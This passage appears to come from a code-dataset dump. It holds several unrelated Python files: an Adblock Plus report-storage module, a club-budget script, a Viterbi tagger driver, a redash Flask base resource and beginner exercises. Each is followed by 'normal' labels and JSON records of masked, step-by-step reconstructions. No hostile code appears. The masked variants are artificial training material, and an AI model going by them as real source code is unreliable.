happen in the template, not here origEmail = reportData['email'] email = reportData['email'] email = re.sub(r' at ', r'@', email) email = re.sub(r' dot ', r'.', email) reportData['email'] = anonymizeMail(email) reportData['uid'] = contact file = os.path.join(get_config().get('reports', 'dataPath'), guid[0], guid[1], guid[2], guid[3], guid + '.html') dir = os.path.dirname(file) if not os.path.exists(dir): os.makedirs(dir) template = get_template(get_config().get('reports', 'webTemplate')) template.stream(reportData).dump(file, encoding='utf-8') if contact: reportData['email'] = origEmail def removeReport(guid): cursor = get_db().cursor() executeQuery(cursor, 'DELETE FROM #PFX#reports WHERE guid = %s', guid) get_db().commit() file = os.path.join(get_config().get('reports', 'dataPath'), guid[0], guid[1], guid[2], guid[3], guid + '.html') if os.path.isfile(file): os.remove(file) file = os.path.join(get_config().get('reports', 'dataPath'), guid[0], guid[1], guid[2], guid[3], guid + '.png') if os.path.isfile(file): os.remove(file) def getUser(contact): cursor = get_db().cursor(MySQLdb.cursors.DictCursor) executeQuery(cursor, 'SELECT reports, positive, negative FROM #PFX#users WHERE id = %s', contact) user = cursor.fetchone() return user @cached(3600) def getUserUsefulnessScore(contact): if contact == None: return 0 cursor = get_db().cursor() # source from http://www.evanmiller.org/how-not-to-sort-by-average-rating.html executeQuery(cursor, '''SELECT ((positive + 1.9208) / (positive + negative) - 1.96 * SQRT((positive * negative) / (positive + negative) + 0.9604) / (positive + negative)) / (1 + 3.8416 / (positive + negative)) AS score FROM #PFX#users WHERE id = %s''', contact) score = cursor.fetchone() if score == None: return 0 if score[0] == None: # no score yet return 0.3 else: return 4 * score[0] def updateUserUsefulness(contact, newusefulness, oldusefulness): new = int(newusefulness) old = int(oldusefulness) if new == old: return positive = 0 negative = 0 if old > 0: positive -= 1 elif old < 0: negative -= 1 if new > 0: positive += 1 elif new < 0: negative += 1 cursor = get_db().cursor() executeQuery(cursor, 'UPDATE #PFX#users SET negative = negative + %s, positive = positive + %s WHERE id = %s', (negative, positive, contact)) get_db().commit() def saveScreenshot(guid, screenshot): prefix = 'data:image/png;base64,' if not screenshot.startswith(prefix): raise TypeError('Screenshot is not a PNG image') data = base64.b64decode(screenshot[len(prefix):]) file = os.path.join(get_config().get('reports', 'dataPath'), guid[0], guid[1], guid[2], guid[3], guid + '.png') dir = os.path.dirname(file) if not os.path.exists(dir): os.makedirs(dir) f = open(file, 'wb') f.write(data) f.close() if get_config().has_option('reports', 'pngOptimizerPath'): cmd = get_config().get('reports', 'pngOptimizerPath').split() cmd.append(file) subprocess.call(cmd) def mailDigest(templateData): sendMail(get_config().get('reports', 'mailDigestTemplate'), templateData) def sendUpdateNotification(templateData): sendMail(get_config().get('reports', 'notificationTemplate'), templateData) def calculateReportSecret(guid): return hmac.new(get_config().get('reports', 'secret'), guid).hexdigest() def calculateReportSecret_compat(guid): hash = hashlib.md5() hash.update(get_config().get('reports', 'secret')) hash.update(guid) return hash.hexdigest() def getUserId(email): return hmac.new(get_config().get('reports', 'secret'), email.encode('utf-8')).hexdigest() def getDigestId(email): hash = hashlib.md5() hash.update(email.encode('utf-8')) return hash.hexdigest() def getDigestPath(dir, email): return os.path.join(dir, getDigestId(email) + '.html') def getDigestSecret(id, (year, week, weekday)): mac = hmac.new(get_config().get('reports', 'secret'), id) mac.update(str(year)) mac.update(str(week)) return mac.hexdigest() def getDigestSecret_compat(id, (year, week, weekday)): hash = hashlib.md5() hash.update(get_config().get('reports', 'secret')) hash.update(id) hash.update(str(year)) hash.update(str(week)) return hash.hexdigest() @cached(600) def get_db(): database = get_config().get('reports', 'database') dbuser = get_config().get('reports', 'dbuser') dbpasswd = get_config().get('reports', 'dbpassword') if os.name == 'nt': return MySQLdb.connect(user=dbuser, passwd=dbpasswd, db=database, use_unicode=True, charset='utf8', named_pipe=True) else: return MySQLdb.connect(user=dbuser, passwd=dbpasswd, db=database, use_unicode=True, charset='utf8') def executeQuery(cursor, query, args=None): tablePrefix = get_config().get('reports', 'dbprefix') query = re.sub(r'#PFX#', tablePrefix, query) cursor.execute(query, args)
normal
{ "blob_id": "bfc6f6acef26e3dc4f6bf2b76363daec68c53cd1", "index": 5709, "step-1": "# This file is part of the Adblock Plus web scripts,\n# Copyright (C) 2006-present eyeo GmbH\n#\n# Adblock Plus is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 3 as\n# published by the Free Software Foundation.\n#\n# Adblock Plus is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Adblock Plus. If not, see <http://www.gnu.org/licenses/>.\n\nimport hashlib\nimport hmac\nimport base64\nimport MySQLdb\nimport os\nimport re\nimport marshal\nimport subprocess\nfrom sitescripts.utils import get_config, cached, get_template, anonymizeMail, sendMail\n\n\ndef getReportSubscriptions(guid):\n cursor = get_db().cursor(MySQLdb.cursors.DictCursor)\n executeQuery(cursor,\n '''SELECT url, hasmatches FROM #PFX#sublists INNER JOIN\n #PFX#subscriptions ON (#PFX#sublists.list = #PFX#subscriptions.id)\n WHERE report = %s''',\n guid)\n rows = cursor.fetchall()\n cursor.close()\n return rows\n\n\ndef getReports(startTime):\n count = 10000\n offset = 0\n while True:\n cursor = get_db().cursor(MySQLdb.cursors.DictCursor)\n executeQuery(cursor,\n '''SELECT guid, type, UNIX_TIMESTAMP(ctime) AS ctime, status, site, contact,\n comment, hasscreenshot, knownissues\n FROM #PFX#reports WHERE ctime >= FROM_UNIXTIME(%s) LIMIT %s OFFSET %s''',\n (startTime, count, offset))\n rows = cursor.fetchall()\n cursor.close()\n if len(rows) == 0:\n break\n for row in rows:\n yield row\n offset += len(rows)\n\n\ndef getReportsForUser(contact):\n cursor = get_db().cursor(MySQLdb.cursors.DictCursor)\n executeQuery(cursor,\n '''SELECT guid, type, UNIX_TIMESTAMP(ctime) AS ctime, status, site, contact,\n comment, hasscreenshot, knownissues\n FROM #PFX#reports WHERE contact = %s ORDER BY ctime DESC LIMIT 100''',\n contact)\n rows = cursor.fetchall()\n cursor.close()\n return rows\n\n\ndef getReport(guid):\n cursor = get_db().cursor()\n executeQuery(cursor, 'SELECT dump FROM #PFX#reports WHERE guid = %s', guid)\n report = cursor.fetchone()\n if report == None:\n return None\n\n reportData = marshal.loads(report[0])\n return reportData\n\n\ndef saveReport(guid, reportData, isNew=False):\n cursor = get_db().cursor()\n screenshot = reportData.get('screenshot', None)\n if screenshot != None:\n reportData['hasscreenshot'] = 2 if reportData.get('screenshotEdited', False) else 1\n try:\n saveScreenshot(guid, screenshot)\n except (TypeError, UnicodeEncodeError):\n reportData['hasscreenshot'] = 0\n del reportData['screenshot']\n knownIssues = len(reportData.get('knownIssues', []))\n contact = getUserId(reportData.get('email', None)) if reportData.get('email', None) else None\n dumpstr = marshal.dumps(reportData)\n\n if contact != None and isNew:\n executeQuery(cursor, 'INSERT INTO #PFX#users (id, reports) VALUES (%s, 1) ON DUPLICATE KEY UPDATE reports = reports + 1', contact)\n executeQuery(cursor,\n '''INSERT INTO #PFX#reports (guid, type, ctime, site, comment, status, contact, hasscreenshot, knownissues, dump)\n VALUES (%(guid)s, %(type)s, FROM_UNIXTIME(%(ctime)s), %(site)s, %(comment)s, %(status)s, %(contact)s,\n %(hasscreenshot)s, %(knownissues)s, _binary %(dump)s) ON DUPLICATE KEY\n UPDATE type = %(type)s, site = %(site)s, comment = %(comment)s, status = %(status)s,\n hasscreenshot = %(hasscreenshot)s, knownissues = %(knownissues)s, dump = _binary %(dump)s''',\n {'guid': guid, 'type': reportData.get('type', None), 'ctime': reportData['time'], 'site': reportData.get('siteName', None),\n 'comment': reportData.get('comment', None), 'status': reportData.get('status', None), 'contact': contact,\n 'hasscreenshot': reportData.get('hasscreenshot', 0), 'knownissues': knownIssues, 'dump': dumpstr})\n if len(reportData['subscriptions']) > 0:\n for sn in reportData['subscriptions']:\n executeQuery(cursor, 'SELECT id FROM #PFX#subscriptions WHERE url = %s', sn['id'])\n id = cursor.fetchone()\n if id != None:\n def filterMatch(f):\n return any(u == sn['id'] for u in f.get('subscriptions', []))\n hasMatches = any(filterMatch(f) for f in reportData.get('filters', []))\n executeQuery(cursor, 'INSERT IGNORE INTO #PFX#sublists (report, list, hasmatches) VALUES (%s, %s, %s)', (guid, id[0], hasMatches))\n\n get_db().commit()\n\n reportData['guid'] = guid\n if contact:\n # TODO: The mail anonymization should happen in the template, not here\n origEmail = reportData['email']\n email = reportData['email']\n email = re.sub(r' at ', r'@', email)\n email = re.sub(r' dot ', r'.', email)\n reportData['email'] = anonymizeMail(email)\n reportData['uid'] = contact\n\n file = os.path.join(get_config().get('reports', 'dataPath'), guid[0], guid[1], guid[2], guid[3], guid + '.html')\n dir = os.path.dirname(file)\n if not os.path.exists(dir):\n os.makedirs(dir)\n template = get_template(get_config().get('reports', 'webTemplate'))\n template.stream(reportData).dump(file, encoding='utf-8')\n\n if contact:\n reportData['email'] = origEmail\n\n\ndef removeReport(guid):\n cursor = get_db().cursor()\n executeQuery(cursor, 'DELETE FROM #PFX#reports WHERE guid = %s', guid)\n get_db().commit()\n file = os.path.join(get_config().get('reports', 'dataPath'), guid[0], guid[1], guid[2], guid[3], guid + '.html')\n if os.path.isfile(file):\n os.remove(file)\n file = os.path.join(get_config().get('reports', 'dataPath'), guid[0], guid[1], guid[2], guid[3], guid + '.png')\n if os.path.isfile(file):\n os.remove(file)\n\n\ndef getUser(contact):\n cursor = get_db().cursor(MySQLdb.cursors.DictCursor)\n executeQuery(cursor, 'SELECT reports, positive, negative FROM #PFX#users WHERE id = %s', contact)\n user = cursor.fetchone()\n return user\n\n\n@cached(3600)\ndef getUserUsefulnessScore(contact):\n if contact == None:\n return 0\n\n cursor = get_db().cursor()\n # source from http://www.evanmiller.org/how-not-to-sort-by-average-rating.html\n executeQuery(cursor,\n '''SELECT ((positive + 1.9208) / (positive + negative)\n - 1.96 * SQRT((positive * negative) / (positive + negative) + 0.9604) / (positive + negative))\n / (1 + 3.8416 / (positive + negative)) AS score FROM #PFX#users WHERE id = %s''',\n contact)\n score = cursor.fetchone()\n if score == None:\n return 0\n\n if score[0] == None: # no score yet\n return 0.3\n else:\n return 4 * score[0]\n\n\ndef updateUserUsefulness(contact, newusefulness, oldusefulness):\n new = int(newusefulness)\n old = int(oldusefulness)\n if new == old:\n return\n positive = 0\n negative = 0\n if old > 0:\n positive -= 1\n elif old < 0:\n negative -= 1\n if new > 0:\n positive += 1\n elif new < 0:\n negative += 1\n cursor = get_db().cursor()\n executeQuery(cursor, 'UPDATE #PFX#users SET negative = negative + %s, positive = positive + %s WHERE id = %s', (negative, positive, contact))\n get_db().commit()\n\n\ndef saveScreenshot(guid, screenshot):\n prefix = 'data:image/png;base64,'\n if not screenshot.startswith(prefix):\n raise TypeError('Screenshot is not a PNG image')\n data = base64.b64decode(screenshot[len(prefix):])\n file = os.path.join(get_config().get('reports', 'dataPath'), guid[0], guid[1], guid[2], guid[3], guid + '.png')\n dir = os.path.dirname(file)\n if not os.path.exists(dir):\n os.makedirs(dir)\n f = open(file, 'wb')\n f.write(data)\n f.close()\n if get_config().has_option('reports', 'pngOptimizerPath'):\n cmd = get_config().get('reports', 'pngOptimizerPath').split()\n cmd.append(file)\n subprocess.call(cmd)\n\n\ndef mailDigest(templateData):\n sendMail(get_config().get('reports', 'mailDigestTemplate'), templateData)\n\n\ndef sendUpdateNotification(templateData):\n sendMail(get_config().get('reports', 'notificationTemplate'), templateData)\n\n\ndef calculateReportSecret(guid):\n return hmac.new(get_config().get('reports', 'secret'), guid).hexdigest()\n\n\ndef calculateReportSecret_compat(guid):\n hash = hashlib.md5()\n hash.update(get_config().get('reports', 'secret'))\n hash.update(guid)\n return hash.hexdigest()\n\n\ndef getUserId(email):\n return hmac.new(get_config().get('reports', 'secret'), email.encode('utf-8')).hexdigest()\n\n\ndef getDigestId(email):\n hash = hashlib.md5()\n hash.update(email.encode('utf-8'))\n return hash.hexdigest()\n\n\ndef getDigestPath(dir, email):\n return os.path.join(dir, getDigestId(email) + '.html')\n\n\ndef getDigestSecret(id, (year, week, weekday)):\n mac = hmac.new(get_config().get('reports', 'secret'), id)\n mac.update(str(year))\n mac.update(str(week))\n return mac.hexdigest()\n\n\ndef getDigestSecret_compat(id, (year, week, weekday)):\n hash = hashlib.md5()\n hash.update(get_config().get('reports', 'secret'))\n hash.update(id)\n hash.update(str(year))\n hash.update(str(week))\n return hash.hexdigest()\n\n\n@cached(600)\ndef get_db():\n database = get_config().get('reports', 'database')\n dbuser = get_config().get('reports', 'dbuser')\n dbpasswd = get_config().get('reports', 'dbpassword')\n if os.name == 'nt':\n return MySQLdb.connect(user=dbuser, passwd=dbpasswd, db=database, use_unicode=True, charset='utf8', named_pipe=True)\n else:\n return MySQLdb.connect(user=dbuser, passwd=dbpasswd, db=database, use_unicode=True, charset='utf8')\n\n\ndef executeQuery(cursor, query, args=None):\n tablePrefix = get_config().get('reports', 'dbprefix')\n query = re.sub(r'#PFX#', tablePrefix, query)\n cursor.execute(query, args)\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
import shelve from club import Club #загальний бютжет клубів в заданій країні #клуб який має найбільше трофеїв country = input('country: ') FILENAME = "clubs" with shelve.open(FILENAME) as clubs: clubs_by_country = list(filter(lambda s: s.country.lower() == country.lower(), clubs.values())) if len(clubs_by_country) == 0 : print("No clubs with such country") exit() the_best_club = max(clubs_by_country, key=lambda s: int(s.award)) clubs_budget = sum(int(club.budget) for club in clubs_by_country) print("The best club: ", the_best_club) print("Summary budget: ", clubs_budget)
normal
{ "blob_id": "1346bf78241b4be00f2da3c22731d2846f9d1ada", "index": 4629, "step-1": "<mask token>\n", "step-2": "<mask token>\nwith shelve.open(FILENAME) as clubs:\n clubs_by_country = list(filter(lambda s: s.country.lower() == country.\n lower(), clubs.values()))\n if len(clubs_by_country) == 0:\n print('No clubs with such country')\n exit()\n the_best_club = max(clubs_by_country, key=lambda s: int(s.award))\n clubs_budget = sum(int(club.budget) for club in clubs_by_country)\n print('The best club: ', the_best_club)\n print('Summary budget: ', clubs_budget)\n", "step-3": "<mask token>\ncountry = input('country: ')\nFILENAME = 'clubs'\nwith shelve.open(FILENAME) as clubs:\n clubs_by_country = list(filter(lambda s: s.country.lower() == country.\n lower(), clubs.values()))\n if len(clubs_by_country) == 0:\n print('No clubs with such country')\n exit()\n the_best_club = max(clubs_by_country, key=lambda s: int(s.award))\n clubs_budget = sum(int(club.budget) for club in clubs_by_country)\n print('The best club: ', the_best_club)\n print('Summary budget: ', clubs_budget)\n", "step-4": "import shelve\nfrom club import Club\ncountry = input('country: ')\nFILENAME = 'clubs'\nwith shelve.open(FILENAME) as clubs:\n clubs_by_country = list(filter(lambda s: s.country.lower() == country.\n lower(), clubs.values()))\n if len(clubs_by_country) == 0:\n print('No clubs with such country')\n exit()\n the_best_club = max(clubs_by_country, key=lambda s: int(s.award))\n clubs_budget = sum(int(club.budget) for club in clubs_by_country)\n print('The best club: ', the_best_club)\n print('Summary budget: ', clubs_budget)\n", "step-5": "import shelve\nfrom club import Club\n\n#загальний бютжет клубів в заданій країні\n#клуб який має найбільше трофеїв\n\n\ncountry = input('country: ')\n\nFILENAME = \"clubs\"\n\nwith shelve.open(FILENAME) as clubs:\n clubs_by_country = list(filter(lambda s: s.country.lower() == country.lower(), clubs.values()))\n\n if len(clubs_by_country) == 0 :\n print(\"No clubs with such country\")\n exit()\n\n the_best_club = max(clubs_by_country, key=lambda s: int(s.award))\n clubs_budget = sum(int(club.budget) for club in clubs_by_country)\n\n print(\"The best club: \", the_best_club)\n print(\"Summary budget: \", clubs_budget)\n\n\n\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
from count_freqs import * from eval_gene_tagger import * ''' Using gene.train gene.counts prediction file to evaluate the performance Usage: python viterbi.py gene.counts gene.dev gene_dev.p1.out ''' if __name__ == "__main__": #if len(sys.argv)!=2: # Expect exactly one argument: the training data file # usage() # sys.exit(2) #try: # input_counts = open(sys.argv[1],"r") # dev_file = open(sys.argv[2],"r+") # output_file2 = open(sys.argv[3],"w") #except IOError: # sys.stderr.write("ERROR: Cannot read inputfile %s.\n" % arg) # sys.exit(1) ########### Read gene.counts and write prediction into 'gene_dev.p1.out' ######### counter1 = Hmm(3) input_counts = open('gene_NoClass.counts','r') dev_file = open('gene.dev',"r+") output_file2 = open('gene_dev.NoClass.out.p2',"w") print('dev_file read') print('start training viterbi') counter1.train_viterbi( input_counts, dev_file, output_file2) print('finished training in viterbi') dev_file.close() output_file2.close() input_counts.close() print("gene_dev.p2.out file created") ######### Evaluate the result ############ ''' if len(sys.argv)!=3: usage() sys.exit(1) gs_iterator = corpus_iterator(open(sys.argv[1])) pred_iterator = corpus_iterator(open(sys.argv[4]), with_logprob = False) evaluator = Evaluator() evaluator.compare(gs_iterator, pred_iterator) evaluator.print_scores() '''
normal
{ "blob_id": "6dda23cc5d0083e72520b0664b6550ccb48e4b4f", "index": 7288, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n counter1 = Hmm(3)\n input_counts = open('gene_NoClass.counts', 'r')\n dev_file = open('gene.dev', 'r+')\n output_file2 = open('gene_dev.NoClass.out.p2', 'w')\n print('dev_file read')\n print('start training viterbi')\n counter1.train_viterbi(input_counts, dev_file, output_file2)\n print('finished training in viterbi')\n dev_file.close()\n output_file2.close()\n input_counts.close()\n print('gene_dev.p2.out file created')\n \"\"\"\n if len(sys.argv)!=3:\n usage()\n sys.exit(1)\n gs_iterator = corpus_iterator(open(sys.argv[1]))\n pred_iterator = corpus_iterator(open(sys.argv[4]), with_logprob = False)\n evaluator = Evaluator()\n evaluator.compare(gs_iterator, pred_iterator)\n evaluator.print_scores()\n\n \"\"\"\n", "step-3": "from count_freqs import *\nfrom eval_gene_tagger import *\n<mask token>\nif __name__ == '__main__':\n counter1 = Hmm(3)\n input_counts = open('gene_NoClass.counts', 'r')\n dev_file = open('gene.dev', 'r+')\n output_file2 = open('gene_dev.NoClass.out.p2', 'w')\n print('dev_file read')\n print('start training viterbi')\n counter1.train_viterbi(input_counts, dev_file, output_file2)\n print('finished training in viterbi')\n dev_file.close()\n output_file2.close()\n input_counts.close()\n print('gene_dev.p2.out file created')\n \"\"\"\n if len(sys.argv)!=3:\n usage()\n sys.exit(1)\n gs_iterator = corpus_iterator(open(sys.argv[1]))\n pred_iterator = corpus_iterator(open(sys.argv[4]), with_logprob = False)\n evaluator = Evaluator()\n evaluator.compare(gs_iterator, pred_iterator)\n evaluator.print_scores()\n\n \"\"\"\n", "step-4": "from count_freqs import *\nfrom eval_gene_tagger import *\n'''\nUsing gene.train gene.counts prediction file to evaluate the performance\n\nUsage: python viterbi.py gene.counts gene.dev gene_dev.p1.out \n'''\n\nif __name__ == \"__main__\":\n\n #if len(sys.argv)!=2: # Expect exactly one argument: the training data file\n # usage()\n # sys.exit(2)\n\n #try:\n # input_counts = open(sys.argv[1],\"r\")\n # dev_file = open(sys.argv[2],\"r+\")\n # output_file2 = open(sys.argv[3],\"w\")\n #except IOError:\n # sys.stderr.write(\"ERROR: Cannot read inputfile %s.\\n\" % arg)\n # sys.exit(1)\n\n \n \n\n\n ########### Read gene.counts and write prediction into 'gene_dev.p1.out' #########\n\n counter1 = Hmm(3)\n input_counts = open('gene_NoClass.counts','r')\n dev_file = open('gene.dev',\"r+\")\n output_file2 = open('gene_dev.NoClass.out.p2',\"w\")\n print('dev_file read')\n print('start training viterbi')\n\n\n counter1.train_viterbi( input_counts, dev_file, output_file2)\n print('finished training in viterbi')\n dev_file.close()\n output_file2.close()\n input_counts.close()\n print(\"gene_dev.p2.out file created\")\n\n\n\n\n\n\n\n ######### Evaluate the result ############\n\n\n '''\n if len(sys.argv)!=3:\n usage()\n sys.exit(1)\n gs_iterator = corpus_iterator(open(sys.argv[1]))\n pred_iterator = corpus_iterator(open(sys.argv[4]), with_logprob = False)\n evaluator = Evaluator()\n evaluator.compare(gs_iterator, pred_iterator)\n evaluator.print_scores()\n\n '''", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for i in range(11): newList.append(i * 2) print(newList) <|reserved_special_token_0|> print(newList2) <|reserved_special_token_0|> for name in list: if name.startswith('王'): emptyList.append(name) print(emptyList) print([name for name in list if name.startswith('王')]) <|reserved_special_token_1|> newList = [] for i in range(11): newList.append(i * 2) print(newList) newList2 = [(i * 2) for i in range(11)] print(newList2) list = ['小米', '王银龙', '王思'] emptyList = [] for name in list: if name.startswith('王'): emptyList.append(name) print(emptyList) print([name for name in list if name.startswith('王')]) <|reserved_special_token_1|> # file = open('suifeng.txt') # # text = file.read() # # print(text) # # file.close() # with open('suifeng.txt') as f: # print(f.read()) newList=[] for i in range(11): newList.append(i*2) print(newList) newList2=[i*2 for i in range(11)] print(newList2) list = ["小米","王银龙","王思"] emptyList=[] for name in list: if name.startswith('王'): emptyList.append(name) print(emptyList) print([name for name in list if name.startswith('王')])
flexible
{ "blob_id": "3752b68e151379c57e1494715a45172607f4aead", "index": 8090, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in range(11):\n newList.append(i * 2)\nprint(newList)\n<mask token>\nprint(newList2)\n<mask token>\nfor name in list:\n if name.startswith('王'):\n emptyList.append(name)\nprint(emptyList)\nprint([name for name in list if name.startswith('王')])\n", "step-3": "newList = []\nfor i in range(11):\n newList.append(i * 2)\nprint(newList)\nnewList2 = [(i * 2) for i in range(11)]\nprint(newList2)\nlist = ['小米', '王银龙', '王思']\nemptyList = []\nfor name in list:\n if name.startswith('王'):\n emptyList.append(name)\nprint(emptyList)\nprint([name for name in list if name.startswith('王')])\n", "step-4": "# file = open('suifeng.txt')\n# # text = file.read()\n# # print(text)\n# # file.close()\n\n# with open('suifeng.txt') as f:\n# print(f.read())\n\n\nnewList=[]\nfor i in range(11):\n newList.append(i*2)\nprint(newList)\n\nnewList2=[i*2 for i in range(11)]\nprint(newList2)\n\n\nlist = [\"小米\",\"王银龙\",\"王思\"]\nemptyList=[]\nfor name in list:\n if name.startswith('王'):\n emptyList.append(name)\nprint(emptyList)\n\nprint([name for name in list if name.startswith('王')])", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
import os import sys import csv import math for i in sys.stdin: i = float(i) key = math.floor(i * 10) print('%s\t%s' % (key, i))
normal
{ "blob_id": "ba2f8598ec7e107ac71786cf9191777a93ae2c7a", "index": 2145, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in sys.stdin:\n i = float(i)\n key = math.floor(i * 10)\n print('%s\\t%s' % (key, i))\n", "step-3": "import os\nimport sys\nimport csv\nimport math\nfor i in sys.stdin:\n i = float(i)\n key = math.floor(i * 10)\n print('%s\\t%s' % (key, i))\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
from flask.ext.restful import Resource, abort from flask_login import current_user, login_required from peewee import DoesNotExist from redash.authentication.org_resolving import current_org from redash.tasks import record_event class BaseResource(Resource): decorators = [login_required] def __init__(self, *args, **kwargs): super(BaseResource, self).__init__(*args, **kwargs) self._user = None def dispatch_request(self, *args, **kwargs): kwargs.pop('org_slug', None) return super(BaseResource, self).dispatch_request(*args, **kwargs) @property def current_user(self): return current_user._get_current_object() @property def current_org(self): return current_org._get_current_object() def record_event(self, options): options.update({ 'user_id': self.current_user.id, 'org_id': self.current_org.id }) record_event.delay(options) def require_fields(req, fields): for f in fields: if f not in req: abort(400) def get_object_or_404(fn, *args, **kwargs): try: return fn(*args, **kwargs) except DoesNotExist: abort(404)
normal
{ "blob_id": "71cdddfdd7c1327a8a77808dbdd0ff98d827231f", "index": 945, "step-1": "<mask token>\n\n\nclass BaseResource(Resource):\n <mask token>\n\n def __init__(self, *args, **kwargs):\n super(BaseResource, self).__init__(*args, **kwargs)\n self._user = None\n <mask token>\n\n @property\n def current_user(self):\n return current_user._get_current_object()\n\n @property\n def current_org(self):\n return current_org._get_current_object()\n\n def record_event(self, options):\n options.update({'user_id': self.current_user.id, 'org_id': self.\n current_org.id})\n record_event.delay(options)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass BaseResource(Resource):\n <mask token>\n\n def __init__(self, *args, **kwargs):\n super(BaseResource, self).__init__(*args, **kwargs)\n self._user = None\n\n def dispatch_request(self, *args, **kwargs):\n kwargs.pop('org_slug', None)\n return super(BaseResource, self).dispatch_request(*args, **kwargs)\n\n @property\n def current_user(self):\n return current_user._get_current_object()\n\n @property\n def current_org(self):\n return current_org._get_current_object()\n\n def record_event(self, options):\n options.update({'user_id': self.current_user.id, 'org_id': self.\n current_org.id})\n record_event.delay(options)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass BaseResource(Resource):\n decorators = [login_required]\n\n def __init__(self, *args, **kwargs):\n super(BaseResource, self).__init__(*args, **kwargs)\n self._user = None\n\n def dispatch_request(self, *args, **kwargs):\n kwargs.pop('org_slug', None)\n return super(BaseResource, self).dispatch_request(*args, **kwargs)\n\n @property\n def current_user(self):\n return current_user._get_current_object()\n\n @property\n def current_org(self):\n return current_org._get_current_object()\n\n def record_event(self, options):\n options.update({'user_id': self.current_user.id, 'org_id': self.\n current_org.id})\n record_event.delay(options)\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass BaseResource(Resource):\n decorators = [login_required]\n\n def __init__(self, *args, **kwargs):\n super(BaseResource, self).__init__(*args, **kwargs)\n self._user = None\n\n def dispatch_request(self, *args, **kwargs):\n kwargs.pop('org_slug', None)\n return super(BaseResource, self).dispatch_request(*args, **kwargs)\n\n @property\n def current_user(self):\n return current_user._get_current_object()\n\n @property\n def current_org(self):\n return current_org._get_current_object()\n\n def record_event(self, options):\n options.update({'user_id': self.current_user.id, 'org_id': self.\n current_org.id})\n record_event.delay(options)\n\n\n<mask token>\n\n\ndef get_object_or_404(fn, *args, **kwargs):\n try:\n return fn(*args, **kwargs)\n except DoesNotExist:\n abort(404)\n", "step-5": "from flask.ext.restful import Resource, abort\nfrom flask_login import current_user, login_required\nfrom peewee import DoesNotExist\n\nfrom redash.authentication.org_resolving import current_org\nfrom redash.tasks import record_event\n\n\nclass BaseResource(Resource):\n decorators = [login_required]\n\n def __init__(self, *args, **kwargs):\n super(BaseResource, self).__init__(*args, **kwargs)\n self._user = None\n\n def dispatch_request(self, *args, **kwargs):\n kwargs.pop('org_slug', None)\n\n return super(BaseResource, self).dispatch_request(*args, **kwargs)\n\n @property\n def current_user(self):\n return current_user._get_current_object()\n\n @property\n def current_org(self):\n return current_org._get_current_object()\n\n def record_event(self, options):\n options.update({\n 'user_id': self.current_user.id,\n 'org_id': self.current_org.id\n })\n\n record_event.delay(options)\n\n\ndef require_fields(req, fields):\n for f in fields:\n if f not in req:\n abort(400)\n\n\ndef get_object_or_404(fn, *args, **kwargs):\n try:\n return fn(*args, **kwargs)\n except DoesNotExist:\n abort(404)\n", "step-ids": [ 5, 6, 7, 8, 11 ] }
[ 5, 6, 7, 8, 11 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> print('Question 1') <|reserved_special_token_0|> print() print('Question 2') <|reserved_special_token_0|> print() print('Question 3') <|reserved_special_token_0|> print('%.2f' % b) <|reserved_special_token_0|> print('%.2f' % a) <|reserved_special_token_0|> print('%.2f' % b) <|reserved_special_token_0|> print('%.2f' % a) print('Values calculated') print() print('Question 4') <|reserved_special_token_0|> print(result) <|reserved_special_token_0|> print(result) <|reserved_special_token_0|> print(result) <|reserved_special_token_0|> print(result) <|reserved_special_token_0|> print(result) print() print('Question 5') <|reserved_special_token_0|> print('The total is ' + str(total)) print() print('Question 6') <|reserved_special_token_0|> print(due) print() print('Question 7') <|reserved_special_token_0|> print(total) print() print('Question 8') <|reserved_special_token_0|> print(result) print() print('Question 9') <|reserved_special_token_0|> print(num) <|reserved_special_token_1|> print('Question 1') height = int(input('Please enter your height: ')) print() print('Question 2') color = input('please enter your favorite color: ') print() print('Question 3') a = -8 / 3 b = 2 + a print('%.2f' % b) a = 4 * b print('%.2f' % a) b = a / 3.14 print('%.2f' % b) a = b - 8 print('%.2f' % a) print('Values calculated') print() print('Question 4') w = 5 x = 4 y = 8 z = 2 result = x + y print(result) result = z * 2 print(result) result = y / x print(result) result = y - z print(result) result = w // z print(result) print() print('Question 5') total = 10 + 14 print('The total is ' + str(total)) print() print('Question 6') down_payment = 2500 total = 10000 due = total - down_payment print(due) print() print('Question 7') subtotal = 100 total = subtotal * 0.15 print(total) print() print('Question 8') a = 5 b = 2 c = 3 result = a + b * c print(result) print() print('Question 9') num = 99 num = 5 print(num) <|reserved_special_token_1|> #Homework 09 #Raymond Guevara #018504731 #Algorithm Workbench #Question 1 print("Question 1") height = int(input("Please enter your height: ")) print() #Question 2 print("Question 2") color = input("please enter your favorite color: ") print() #Question 3 print("Question 3") a = -8/3 #Solved for variable "a" using algebra and system of equations b = 2+a print("%.2f"%b) a = 4*b print("%.2f"%a) b = a/3.14 print("%.2f"%b) a = b-8 print("%.2f"%a) print("Values calculated") print() #Question 4 print("Question 4") w = 5 x = 4 y = 8 z = 2 result = x + y print(result) result = z * 2 print(result) result = y / x print(result) result = y - z print(result) result = w // z print(result) print() #Question 5 print("Question 5") total = 10 + 14 print("The total is " + str(total)) print() #Question 6 print("Question 6") down_payment = 2500 #numbers are arbitrary total = 10000 due = total - down_payment print(due) print() #Question 7 print("Question 7") subtotal = 100 #Arbitrary number total = subtotal * .15 print(total) print() #Question 8 print("Question 8") a = 5 b = 2 c = 3 